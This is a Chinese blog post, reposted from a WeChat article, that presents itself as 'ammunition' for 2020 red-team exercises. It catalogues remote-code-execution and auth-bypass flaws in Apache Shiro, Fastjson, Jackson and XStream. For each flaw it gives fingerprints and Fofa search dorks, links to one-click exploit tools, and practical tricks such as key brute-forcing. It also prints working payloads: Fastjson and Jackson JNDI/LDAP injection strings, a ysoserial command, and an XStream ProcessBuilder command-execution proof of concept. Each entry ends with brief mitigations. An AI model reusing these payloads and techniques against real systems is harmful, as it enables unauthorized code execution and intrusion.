zoukankan      html  css  js  c++  java
  • 2020攻防演练弹药库

    2020攻防演练弹药库

    各位小伙伴们, 安全界一年一度的激动人心的攻防演练盛况即将来临:) 这里给大家准备些弹药, 主要是近些年的可以进后台/getshell的漏洞, 漏洞太多难免疏漏.基本都是常规操作加一点小技巧, 本文涉及所有漏洞均是公开信息, 大部分漏洞均分析过或实践过, 如有错误欢迎【斧】正, 如有补充也欢迎评论留言.另外, 有些漏洞没有找到外部公开信息, 考虑涉及相关法律法规, 不宜披露, 请见谅. 想深度交流的欢迎沟通.

    由于本文长度接近四万字,

    Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

    1. 漏洞简介

    Apache Shiro 是企业常见的Java安全框架, 其漏洞在2019年攻防演练中起到显著作用

    2. 影响组件

    Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)

    3. 漏洞指纹

    set-Cookie: rememberMe=deleteMe
    或者URL中有shiro字样
    有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

    4. Fofa Dork

    app="Apache-Shiro"

    5. 漏洞分析

    【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
    https://paper.seebug.org/shiro-rememberme-1-2-4/

    6. 漏洞利用

    wyzxxz/shiro_rce: shiro rce 反序列 命令执行 一键工具
    https://github.com/wyzxxz/shiro_rce

    Apache Shiro回显poc改造计划
    https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw

    7. 利用技巧

    1.使用多个泄露的key进行遍历, 这个在实战中确实有效

    关于Shiro反序列化漏洞的延伸—升级shiro也能被shell
    https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw

    Shiro 100 Key
    https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA

    2.使用 URLDNS 进行检测提速

    使用适应性最强的URLDNS(这个不受JDK版本和安全策略影响, 除非网络限制不能出DNS)进行检测

    且可以使用ysoserial提前生成序列化内容

    java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar URLDNS "http://1234567890.test.ceye.io" > urldns.ser

    然后使用占位符+目标url hash的方法修改序列化内容中的urldns地址

    提高检测速度以及后续检测无需使用ysoserial

    例如 1234567890.test.ceye.io 可以换成 md5('www.qq.com').hexdigest() [:10].test.ceye.io

    也就是 9d2c68d82d.test.ceye.io

    可以预先记录 hash

    9d2c68d82d www.qq.com

    然后进行hash查表就可以知道是DNSLOG来自哪个目标, 性能会提高不少

    3.已知目标使用了Shiro, 可以采取Shiro-721的报错逻辑来进行遍历key — 星光哥

    这样即使DNS不能出网, 也可以通过是否返回 rememberMe=deleteMe 来断定 shiro key 的正确性, 前提是服务器有rememberMe=deleteMe相关回显

    8. 防护方法

    1.升级Shiro到最新版

    2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

    3.WAF拦截Cookie中长度过大的rememberMe值

    Apache Shiro Padding Oracle Attack (Shiro-721)

    1. 漏洞简介

    Apache Shiro 是企业常见的 Java安全框架, 由于Shiro使用AES-CBC模式进行加解密处理, 所以存在Padding Oracle Attack漏洞, 已经登录的攻击者同样可以进行反序列化操作

    2. 影响组件

    Apache Shiro < 1.4.2

    3. 漏洞指纹

    set-Cookie: rememberMe=deleteMe
    URL中有shiro字样
    有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

    4. Fofa Dork

    app="Apache-Shiro"

    5. 漏洞分析

    Shiro 721 Padding Oracle攻击漏洞分析 – 安全客, 安全资讯平台
    https://www.anquanke.com/post/id/193165

    Apache Shiro 远程代码执行漏洞复现 – OnionT’s Blog
    http://www.oniont.cn/index.php/archives/298.html

    6. 漏洞利用

    wuppp/shiro_rce_exp: Shiro RCE (Padding Oracle Attack)
    https://github.com/wuppp/shiro_rce_exp

    7. 利用技巧

    1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用

    但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥

    所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性

    2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe

    8. 防护方法

    1.升级Shiro到最新版

    2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

    3.WAF拦截Cookie中长度过大的rememberMe值

    4.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie

    Apache Shiro 权限绕过漏洞 (Shiro-682)

    1. 漏洞简介

    Apache Shiro 是企业常见的Java安全框架, 由于Shiro的拦截器和spring(Servlet)拦截器对于URI模式匹配的差异, 导致出现鉴权问题

    2. 影响组件

    Apache Shiro < 1.5.2

    3. 漏洞指纹

    set-Cookie: rememberMe=deleteMe
    或者URL中有shiro字样
    有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

    4. Fofa Dork

    app="Apache-Shiro"

    5. 漏洞分析

    Shiro 权限绕过漏洞分析(CVE-2020-1957) – 斗象能力中心
    https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/

    6. 漏洞利用

    Shiro 权限绕过漏洞分析(CVE-2020-1957) – 斗象能力中心
    https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/

    7. 利用技巧

    1.url中间可以尝试添加 ../ , 不限于这个漏洞, 可能会有惊喜, 错误的Nginx配置也会造成新的漏洞

    关于url解析的问题可以参考以下链接

    A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!
    https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

    Tomcat URL解析差异性导致的安全问题 – 先知社区
    https://xz.aliyun.com/t/7544

    8. 防护方法

    1.升级1.5.2版本及以上

    2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式.

    Fastjson 反序列化远程代码执行漏洞

    1. 漏洞简介

    Fastjosn 无疑是这两年的漏洞之王, 一手反序列化RCE影响无数厂商, 目前1.2.48以下版本稳定受影响, 1.2.68以下版本开启Autotype会受到影响

    (不排除传说中的1.2.67以下RCE漏洞, 期待八仙过海)

    2. 影响组件

    Fastjson < 1.2.48 (<1.2.68?)

    3. 漏洞指纹

    可以通过DNS回显的方式检测后端是否使用Fastjson

    {"@type":"java.net.Inet4Address", "val":"dnslog"}
    {"@type":"java.net.Inet6Address", "val":"dnslog"}
    {"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
    {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
    {{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
    Set[{"@type":"java.net.URL", "val":"dnslog"}]
    Set[{"@type":"java.net.URL", "val":"dnslog"}
    {{"@type":"java.net.URL", "val":"dnslog"}:0

    可以通过DOS时间延迟或者报错回显的方式检测

    无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
    https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/

    fastjson < 1.2.66 版本最新漏洞分析
    https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q

    4. Fofa Dork

    5. 漏洞分析

    Fastjson <=1.2.47 远程代码执行漏洞分析 – 安全客, 安全资讯平台
    https://www.anquanke.com/post/id/181874

    6. 漏洞利用

    1.JDK降级编译

    CaijiOrz/fastjson-1.2.47-RCE: Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法
    https://github.com/CaijiOrz/fastjson-1.2.47-RCE

    源项目中最后一句

    当javac版本和目标服务器差太多, 会报一个这样得到错误, 所以需要使用1.8的javac来编译Exploit.java

    这里并不需要更换jdk版本, 我们可以使用JDK降级编译的手法, 这样1.8的jdk也可以编译出来1.7版本的.class , 相信可以解决很多小伙伴的问题

    javac -source 1.7 -target 1.7 Exploit.java

    1.2.47版本以下通杀Poc:

    {"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}}, age:11}

    其中{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}也可以替换成其他利用链

    2.优先使用LDAP协议

    根据实战中经验, 这里更推荐使用ldap协议进行漏洞利用, 原因如下

    RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复了
    LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了

    所以,LDAP的利用方式要优于RMI, 且LDAP可以直接返回序列化对象, 绕过更高版本的JDK限制

    如何绕过高版本JDK的限制进行JNDI注入 – FreeBuf专栏·安全引擎
    https://www.freebuf.com/column/207439.html

    7. 利用技巧

    1.如何查看服务器的jdk版本呢, 这里也有个小技巧

    nc -lvvp 80#[marshalsec中指定的HTTP端口]

    当服务器连接过来时, User-Agent中会标明当前服务器的JDK版本

    2.当发现一台Redis的数据中有@type字样时, 意味着autotype大概率是开的, 只要不存在黑名单中的利用链都可以用#[同理可以用在jackson上]

    fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
    https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java

    public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
    private final static ParserConfig defaultRedisConfig = new ParserConfig();
    static { defaultRedisConfig.setAutoTypeSupport(true);}

    其他消息队列之类的都是同理

    8. 防护方法

    1.升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
    2.WAF拦截过滤请求包中的 @type%u0040%u0074%u0079%u0070%u0065u0040typex04type 等多种编码的autotype变形

    3.最少升级到1.2.48以上版本且关闭autotype选项

    4.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

    Jackson 反序列化远程代码执行漏洞

    1. 漏洞简介

    Jackson 跟Fastjson一样, 当enableDefaultTyping开启时, 也是可以进行反序列化到代码执行

    2. 影响组件
    Jackson

    3. 漏洞指纹

    无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
    https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/

    4. Fofa Dork

    5. 漏洞分析

    跟Fastjson漏洞原理都是一样的, 每次修复基本都是更新黑名单, 漏洞分析可以参考

    Jackson-databind-2670远程代码执行漏洞简单分析 – 先知社区
    https://xz.aliyun.com/t/7506

    6. 漏洞利用

    learnjavabug/jackson/src/main/java/com/threedr3am/bug/jackson at master · threedr3am/learnjavabug
    https://github.com/threedr3am/learnjavabug/tree/master/jackson/src/main/java/com/threedr3am/bug/jackson

    POC

    ["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://localhost:43658/Calc"}]

    7. 利用技巧

    1.把Fastjson的利用链拿过来改一改就可以用, 前提是环境中存在可用的利用链

    8. 防护方法

    1.升级Jackson到最新版(enableDefaultTyping默认都是关的, 问题不大)

    2.确保enableDefaultTyping是关闭的

    3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

    Xstream 反序列化漏洞

    1. 漏洞简介

    Xstream Java 中经常用于处理 xml 的库, 最近一次修复中(1.4.10版本)重现了历史反序列化远程代码执行漏洞, 所以也需要关注

    2. 影响组件

    Xstream <1.4.6, =1.4.10

    3. 漏洞指纹

    xml

    4. Fofa Dork

    5. 漏洞分析

    XStream反序列化组件攻击分析 | angelwhu_blog
    https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins¥ネᄅ￧ヤᄄ

    6. 漏洞利用

    XStream反序列化组件攻击分析 | angelwhu_blog
    https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins¥ネᄅ￧ヤᄄ

    import com.thoughtworks.xstream.XStream;

    import java.io.IOException;

    public class Main {
    // POC1
    public static void main(String[] args) throws IOException {
    XStream xStream = new XStream();
    String payload = "<sorted-set> " +
    " <string>foo</string> " +
    " <dynamic-proxy> " +
    " <interface>java.lang.Comparable</interface> " +
    " <handler class="java.beans.EventHandler"> " +
    " <target class="java.lang.ProcessBuilder"> " +
    " <command> " +
    " <string>cmd.exe</string> " +
    " <string>/c</string> " +
    " <string>calc</string> " +
    " </command> " +
    " </target> " +
    " <action>start</action>"+
    " </handler> " +
    " </dynamic-proxy> " +
    "</sorted-set> ";
    //POC2
    // String payload = "<java.util.PriorityQueue serialization="custom"> " +
    // " <unserializable-parents/> " +
    // " <java.util.PriorityQueue> " +
    // " <default> " +
    // " <size>2</size> " +
    // " <comparator class="org.apache.commons.beanutils.BeanComparator"> " +
    // " <property>databaseMetaData</property> " +
    // " <comparator class="java.util.Collections$ReverseComparator"/> " +
    // " </comparator> " +
    // " </default> " +
    // " <int>3</int> " +
    // " <com.sun.rowset.JdbcRowSetImpl serialization="custom"> " +
    // " <javax.sql.rowset.BaseRowSet> " +
    // " <default> " +
    // " <concurrency>1008</concurrency> " +
    // " <escapeProcessing>true</escapeProcessing> " +
    // " <fetchDir>1000</fetchDir> " +
    // " <fetchSize>0</fetchSize> " +
    // " <isolation>2</isolation> " +
    // " <maxFieldSize>0</maxFieldSize> " +
    // " <maxRows>0</maxRows> " +
    // " <queryTimeout>0</queryTimeout> " +
    // " <readOnly>true</readOnly> " +
    // " <rowSetType>1004</rowSetType> " +
    // " <showDeleted>false</showDeleted> " +
    // " <dataSource>ldap://ip:1389/Object</dataSource> " +
    // " <params/> " +
    // " </default> " +
    // " </javax.sql.rowset.BaseRowSet> " +
    // " <com.sun.rowset.JdbcRowSetImpl> " +
    // " <default> " +
    // " <iMatchColumns> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " <int>-1</int> " +
    // " </iMatchColumns> " +
    // " <strMatchColumns> " +
    // " <string>foo</string> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " <null/> " +
    // " </strMatchColumns> " +
    // " </default> " +
    // " </com.sun.rowset.JdbcRowSetImpl> " +
    // " </com.sun.rowset.JdbcRowSetImpl> " +
    // " <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> " +
    // " </java.util.PriorityQueue> " +
    // "</java.util.PriorityQueue>";
    xStream.fromXML(payload);
    }
    }

    7. 利用技巧

    1.这里 Xstream 同样影响很多使用它的开源组件, 比如Spring系列

    Maven Repository: com.thoughtworks.xstream » xstream » 1.4.10 (Usages)
    https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream/1.4.10/usages

    2.xml 不仅可以xxe, 还能反序列化代码执行

    2.xxe 漏洞用 xxer, 方便快捷

    TheTwitchy/xxer: A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab.
    https://github.com/TheTwitchy/xxer

    8. 防护方法

      1. 升级到最新版

    本文转自公众号洛米唯熊如有侵权请联系博主删除

  • 相关阅读:
    神秘题目4
    神秘题目3
    神秘题目2
    AC自动机
    Fence Obstacle Course 题解
    Fractal Streets
    龟速乘
    快速幂
    Stall Reservation
    Sunscreen
  • 原文地址:https://www.cnblogs.com/xyongsec/p/12880442.html
Copyright © 2011-2022 走看看